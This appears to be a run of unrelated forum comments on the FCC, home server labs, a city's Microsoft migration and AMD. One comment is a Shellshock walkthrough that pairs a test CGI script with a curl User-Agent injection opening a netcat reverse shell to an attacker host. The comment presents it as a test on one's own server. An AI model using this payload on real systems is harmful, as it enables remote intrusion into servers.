The cork-schnorkeler in charge of the FCC would have schnorkled the corks he was beholden to schnorkel no matter how the comments would have shaken out.

It'd be hilarious if it turned out to be a generational ship hit by a chunk of space debris that made it spin out of control, and we couldn't tell - just a foreign asteroid passing through our solar system. Whoops.

As long as it's instanced I'm cool. I'll just start over after the timer lockout.

The last thing you want to see in naval warfare:

Your cruise misses have been encrypted. Do not bother trying to decrypt your cruise missles as they can only be decrypted by us. Send ${YOOGE_BITCOIN_MONIES} to our friendly decryption service to decrypt your cruise missles.

Here's a fun little test. This is assuming both the attacker and target have netcat installed. On a machine with the vulnerable bash and apache-cgi (behind a firewall for god's sake!) drop a file in your cgi-bin directory:

#!/bin/bash
 
echo Content-type: text/plain
echo ""
 
pwd

You should be able to go to

http://www.your-server.com/cgi-bin/test.cgi

and get a listing of apache's cgi directory.

Now, from your attack machine run "nc -l -p 1234", and then (in another terminal) run "curl -A "() { :;}; /bin/nc attack.machine.ip.address 1234 -c /bin/bash". You now have a shell via netcat.

(from attacking machine netcat)

touch /tmp/pwnt

(on target)

ls -al /tmp/pwnt

I used to run a whole pile of servers, from DEC alphas to various Ultrasparcs to Linux servers.... now I'm down to a single ZFS-on-linux SAN server and a Supermicro chassis that has two dual-quad motherboards with 32GB of RAM each running a pair of Xen hypervisors. In my home lab I can fire up VMs left and right to test whatever I need to before I bring it to a client and play with my own projects at the same time. The important stuff I have runs in a datacenter but it's been great having such a flexible home lab. The only downside is the Supermicro is LOUD due to all of it's tiny little high-speed fans so I've had to baffle it with various home-made contraptions to keep it from sounding like a jet.

they can be sued out of existence for every mistake they make, I'm cool with it.

Yep, if the only real problems are a unified email platform and document formats bribery makes far more sense.

As far as I can tell from that horrible translation the only real complaints from users are about document interoperability problems and a unified messaging platform. Document format problems were going to be a given as MS will NEVER allow their software to default to an open standard (gotta sell dem Office seats); the best you can do is tell everyone who is going to be dealing with your city to send your documents in universal standard. As far a unified messaging platform goes, somebody screwed up if they couldn't get a fleet of smartphones to talk to a standard email server. Integrating with an open caldav/cardav server is tougher, but not impossible. They've already dropped a lot of cash on this transition and if those are the only two real complaints it seems more likely that the politicos are banking on a pile of $$ concessions from MS.

"Others say AMD's most valuable asset may be its deep bench of engineers or its patents."

I thought part of AMD's decline came about from them laying off engineers and moving to software-driven design instead of hand-crafting.

Or HP... So they can make another poor decision.
